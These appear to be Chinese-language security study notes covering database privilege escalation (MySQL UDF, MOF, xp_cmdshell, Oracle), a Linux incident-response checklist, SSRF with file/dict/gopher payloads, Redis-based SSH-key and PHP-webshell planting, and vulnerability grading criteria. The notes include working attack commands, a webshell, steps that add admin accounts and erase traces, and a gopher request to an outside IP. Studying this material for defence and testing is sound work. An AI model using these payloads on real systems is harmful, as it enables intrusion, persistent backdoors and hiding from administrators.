数据库提权写shell方式
https://developer.aliyun.com/article/1225524
MySQL 提权
CVE-2012-2122 漏洞利用:
- 确认目标 MySQL 版本在受影响范围内(MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23;MySQL versions from 5.1.63, 5.5.24, 5.6.6 之前)。
- 使用 msf 模块
auxiliary/scanner/mysql/mysql_authbypass_hashdump
或 bash 循环不断尝试连接 MySQL 数据库,利用漏洞绕过密码验证获取 root 权限。
Webshell 权限提升:
- 确认满足写 shell 条件:知道网站物理路径、高权限数据库用户、load_file() 开启(secure_file_priv 无限制)、网站路径有写入权限。
- 查看 secure_file_priv 是否有限制,若为 NULL 则需修改为 “” 并重启服务器。
- 通过 phpmyadmin 或 sqlmap 执行 SQL 命令,将 shell 写入网站目录,再利用工具连接获取权限。
1
2
3
4select version(); # 获取数据库版本
select user(); # 获取数据库用户
select @@basedir; # 获取数据库安装目录
show variables like ‘%plugin%’; # 查看plugin路径。日志写 shell 提权:
- 确认 MySQL 版本 5.0 以上且 general_log 默认关闭。
在sqlmap/data/udf/mysql目录下,在Windows目录中有32位和64位的dll文件(MySQL位数)。
文件夹中的dll文件是通过异或编码的,可以使用sqlmap/extract/cloak.py进行解码
python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_
将解码后的DLL文件(包含用户自定义函数的DLL文件)上传到可写目录,再导入到MySQL\lib\plugin\中
select LOAD_FILE(‘C:/可写目录/lib_mysqludf_sys.dll’) into dumpfile ‘C:/phpStudy2016/MySQL/lib/plugin/> lib_mysqludf_sys.dll’;
将DLL中的函数引入到MySQL数据库中
创建自定义函数
create function sys_eval returns string soname ‘lib_mysqludf_sys.dll’;
创建名为sys_eval的函数,返回值为string类型,调用的文件是lib_mysqludf_sys.dll
注意:需要创建.dll文件中存在的函数,可以使用十六进制编辑器打开.dll文件,查看可以被创建的函数。
使用该函数去执行系统命令提权
查看当前用户权限
select sys_eval(“whoami”);
创建账号并提升为管理员权限
select sys_eval(“net user winhex passw@ord /add”);
select sys_eval(“net localgroup administrators winhex /add”);
将之前引入的函数删除掉
防止被管理员发现,防止其他攻击者使用
drop function sys_eval;
delete from mysql.func where name=’sys_eval’; - 开启 general_log,修改 general_log_file 路径为网站目录下的文件名。
- 写入 shell 内容,利用工具连接获取权限。
- 确认 MySQL 版本 5.0 以上且 general_log 默认关闭。
Linux UDF提权:https://www.freebuf.com/articles/web/264790.html
UDF 提权:
- 判断 MySQL 版本,选择对应的动态链接库位置。
- 将 sqlmap 中的动态链接库解码后上传到 MySQL 特定目录(根据版本选择目录)。
- 创建自定义函数,利用该函数执行命令实现提权,最后可删除自定义函数清理痕迹。
MOF 提权:
- 确认目标系统版本为 2003 或之前,利用 mof 文件每五秒执行且为系统权限的特点。
- 将包含 vbs 脚本的 mof 文件通过 mysql 的 load_file 写入指定目录,等待执行创建用户实现提权,清理痕迹需停止服务、删除相关文件并重启服务。
启动项提权:
- 确认系统启动项路径,根据系统版本选择对应路径。
- 在 mysql 中创建表并插入创建用户和添加管理员权限的 vbs 脚本内容,将脚本写入启动项路径,重启后脚本执行实现提权。
CVE-2016-6663、CVE-2016-6664 组合提权:
- 对于 Mysql 小于特定版本的情况,先利用 CVE-2016-6663 将 www-data 权限提升为 mysql 权限,再利用 CVE-2016-6664 将 Mysql 权限提升为 root 权限。
MSSQL 提权
xp_cmdshell 提权:
- 开启 xp_cmdshell,利用其执行命令实现提权,如添加用户、替换粘贴键、传马等操作,完成后可关闭 xp_cmdshell 清理痕迹。
sp_OACreate 提权:
- 开启 Ole Automation Procedures,利用 sp_OACreate 执行命令实现提权,如直接加用户、粘贴键替换、直接传马、启动项写入加账户脚本等操作。
沙盒提权:
- 开启默认关闭的 xp_regwrite 存储过程,利用 jet.oledb 执行系统命令添加系统账号实现提权。
Oracle 提权
通过注入存储过程提权:
- 手工注入:用户登录后查看权限,创建提权函数并注入到存在 sql 注入的存储过程中,执行命令提升权限。
- 利用 MSF 注入:加载攻击模块,配置参数后运行实现提权。
通过 utl_http.request 存储过程提权:
- 创建 Java 包和存储过程 MYJAVACMD,执行该存储过程实现提权。
应急响应流程
- 查看用户信息
- 查看用户信息文件:
cat /etc/passwd
- 查看影子文件:
cat /etc/shadow
- 查看特权账户(UID为0):
awk -F: '$3==0{print $1}' /etc/passwd
或cat /etc/passwd | grep x:0
- 查看当前登录用户及其登录IP:
who
- 查看当前登录用户及其正在执行的程序:
w
- 查看系统负载、登录用户数等信息:
uptime
- 查看密码文件最后修改时间:
stat /etc/passwd
- 查看除不可登录用户外的其他用户:
cat /etc/passwd | grep -v nologin
- 查看能用bash shell登录的用户:
cat /etc/passwd | grep /bin/bash
- 历史命令
- 查看历史命令:
history
- 保存历史命令到文件:
cat .bash_history >> history.txt
- 端口
- 查看端口开放和连接情况:
netstat -pantu
- 查看可疑进程文件路径(根据PID):
ls -l /proc/<pid>/exe
- 进程
- 查看所有进程:
ps -aux
- 查看指定进程:
ps -aux | grep <pid>
- 查看CPU占用率前十的进程:
ps aux --sort=pcpu | head -10
- 自启项
- 查看开机启动项:
systemctl list-unit-files | grep enabled
- 定时任务
- 查看当前用户定时任务:
crontab -l
- 查看指定用户定时任务(如root):
crontab -u root -l
- 进程监控
- 动态监控进程(按CPU占用排序):
top
- 按内存使用排序监控:
top -b
(在top界面按M
键) - 监控指定进程:
top -p <pid>
- 静态监控进程:
ps -ef
- Host文件
- 查看Host文件是否被篡改:
cat /etc/hosts
- 登录日志
- 统计爆破root账号失败次数及IP:
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
- 查看成功登录的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
- 命令状态
- 查看命令文件修改时间(防止被替换):
stat /bin/netstat
SSRF 漏洞原理与应用
https://blog.csdn.net/qq_44159028/article/details/114626708
https://blog.csdn.net/qq_44159028/article/details/117034100
https://xz.aliyun.com/news/195
漏洞原理
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种安全漏洞,攻击者通过构造恶意请求,使服务器端作为代理发起请求,从而访问外网无法直接访问的内部系统或服务。SSRF 漏洞的形成原因通常是服务端提供了从其他服务器获取数据的功能,且未对目标地址进行过滤与限制。
SSRF 漏洞中常用协议的功能和作用
1. file 协议
功能:
- 读取本地文件:在有回显的情况下,利用 file 协议可以读取服务器本地的任意文件内容。例如,读取 Linux 系统中的
/etc/passwd
文件或 Windows 系统中的C:\Windows\System32\drivers\etc\hosts
文件。
作用:
- 信息泄露:攻击者可以通过读取敏感文件获取服务器的配置信息、用户账户信息等。
- 进一步渗透:获取的文件内容可能包含其他敏感信息,如数据库连接字符串、密钥等,有助于进一步渗透目标系统。
示例:
1 | http://127.0.0.1/ssrf.php?url=file:///etc/passwd |
2. dict 协议
功能:
- 泄露安装软件版本信息:通过 dict 协议可以获取目标服务器上安装的软件版本信息。
- 查看端口:可以用于探测目标服务器上特定端口是否开放。
- 操作内网 Redis 服务:可以利用 dict 协议与内网中的 Redis 服务进行交互,执行命令。
作用:
- 信息收集:获取目标服务器的软件版本和端口信息,有助于进一步攻击。
- 内网渗透:通过与内网中的 Redis 服务交互,可以执行命令,进一步渗透内网。
示例:
1 | curl http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:6379/info |
3. gopher 协议
功能:
- 支持发出 GET、POST 请求:gopher 协议支持发送 GET 和 POST 请求,可以先截获这些请求包,再构造成符合 gopher 协议的请求。
- 万能协议:gopher 协议是 SSRF 利用中最强大的协议之一,可以用于反弹 Shell、攻击内网的 Redis、FTP 等服务。
作用:
- 灵活攻击:可以构造复杂的请求,实现对目标服务器的多种攻击。
- 内网渗透:利用 gopher 协议可以攻击内网中的各种服务,如 Redis、MySQL 等。
示例:
1 | http://127.0.0.1/ssrf.php?url=gopher://66.112.213.76:2333/_hello |
漏洞发现
- 检查服务端功能:查看服务端是否存在从其他服务器获取数据的功能,如加载图片、下载文件、读取文件内容等。
- 检测常用函数使用:检查代码中是否使用了
curl_exec()
、file_get_contents()
、fsockopen()
等函数,且未对输入进行严格过滤。 - 测试 URL 参数:通过修改 URL 参数,尝试访问本地文件(如
file:///etc/passwd
)或内网地址,观察服务器响应。
漏洞利用
- 读取本地文件
- Windows:使用
file://C:\Windows\System32\drivers\etc\hosts
等路径读取系统文件。 - Linux:使用
file:///etc/passwd
等路径读取系统文件。
- Windows:使用
- 端口扫描
- 使用
dict://IP地址:端口
或http://IP地址:端口
探测内网端口开放情况,根据页面响应时间判断端口是否开放。
- 使用
- 内网主机探测
- 通过读取
/etc/hosts
、/proc/net/arp
等文件获取内网网段,使用脚本对内网 IP 进行爆破,探测存活主机。
- 通过读取
- 攻击内网服务
- 利用 SSRF 漏洞访问内网的 Redis、MySQL 等服务,进一步渗透内网资产。
与 Redis 的结合利用
- 探测 Redis 服务
- 使用 SSRF 漏洞向 Redis 默认端口 6379 发起请求,如
dict://127.0.0.1:6379
,判断 Redis 服务是否开放。
- 使用 SSRF 漏洞向 Redis 默认端口 6379 发起请求,如
- 写入 SSH 公钥
- 在攻击机生成 SSH 密钥对,将公钥内容通过 Redis 写入目标服务器的
~/.ssh/authorized_keys
,实现无密码登录。 - Redis 命令示例:
1
2
3
4
5flushall
set 1 '公钥内容'
config set dir /root/.ssh
config set dbfilename authorized_keys
save
- 在攻击机生成 SSH 密钥对,将公钥内容通过 Redis 写入目标服务器的
- 写入 Webshell
- 构造 Redis 命令,设置 Webshell 内容并将其写入目标服务器的网站根目录,如
/var/www/html
。 - Redis 命令示例:
1
2
3
4
5flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
- 构造 Redis 命令,设置 Webshell 内容并将其写入目标服务器的网站根目录,如
- 反弹 Shell
- 通过写入计划任务或利用 Redis 的数据备份功能写入 Webshell,实现反弹 Shell。
漏洞防御
- 限制协议:仅允许 HTTP 和 HTTPS 请求。
- 限制 IP:避免应用被用来获取内网数据,攻击内网。
- 限制端口:限制请求的端口为常用的 HTTP 端口,如 80、443、8080 等。
- 过滤返回信息:验证远程服务器对请求的响应,避免泄露敏感信息。
- 统一错误信息:避免用户根据错误信息判断远端服务器的端口状态。
作为众测运营人员的问题
漏洞等级评判标准
严重漏洞:
- 发生在核心系统业务系统,可造成大面积影响,获取大量业务系统控制权限,获取核心系统管理人员权限并且可控制核心系统。
- 包括但不限于控制内网多台机器、核心后台超级管理员权限获取且造成大范围企业核心数据泄露等。
高危漏洞:
- 获得系统的权限(如getshell、命令执行等)。
- 系统的SQL注入(后台漏洞降级,打包提交酌情提升)。
- 敏感信息越权访问(如绕过认证直接访问管理后台进行敏感操作、重要后台弱密码、获取大量内网敏感信息的SSRF等)。
- 读取任意文件。
- 涉及金钱的交易、绕过支付逻辑(需最终利用成功,优惠券相关问题除外)。
- 严重的逻辑设计缺陷和流程缺陷(如任意用户登录漏洞、批量修改任意账号密码漏洞、涉及企业核心业务的逻辑漏洞等)。
- 大范围影响用户的其他漏洞(如重要页面可自动传播的存储型XSS、可获取管理员认证信息且成功利用的存储型XSS等)。
- 大量源代码泄露。
中危漏洞:
- 需交互方可影响用户的漏洞(如存储型XSS、涉及核心业务的CSRF等)。
- 平行越权操作(如绕过限制修改用户资料、执行用户操作等)。
- 由验证码逻辑导致任意账户登录、任意密码找回等系统敏感操作可被爆破成功造成的漏洞。
- 本地保存的敏感认证密钥信息泄露,需能做出有效利用。
- 四位验证码爆破重置密码或者登录账号。
- 心脏滴血漏洞。
- XML注入。
- 普通的后台或者边缘系统的后台。
- 任意文件上传(如上传html导致存储XSS,其他情况除外)。
低危漏洞:
- 对系统的功能或性能影响较小。
- 攻击者只能获得非敏感信息或执行有限的操作。
- 存在已知的解决方案或临时修复措施。
漏洞验证的逻辑和流程
环境准备:
- 确保测试环境与生产环境一致,避免因环境差异导致的误判。
- 准备必要的测试工具和数据。
漏洞复现:
- 根据提交的漏洞报告,尝试复现漏洞。
- 记录复现步骤和结果,确保漏洞的真实性和可重复性。
影响评估:
- 评估漏洞对系统功能、性能、安全性的潜在影响。
- 确定漏洞可能影响的用户范围和业务范围。
利用难度评估:
- 评估漏洞的利用难度,包括是否需要特定条件、是否需要高级技能等。
可发现性评估:
- 评估漏洞的可发现性,即攻击者发现该漏洞的难易程度。
综合评分:
- 结合上述评估结果,根据360SRC的评分标准,对漏洞进行综合评分,确定漏洞等级。
报告生成:
- 生成详细的漏洞报告,包括漏洞描述、复现步骤、影响评估、利用难度、可发现性等信息。
- 提交报告给相关团队进行修复和处理。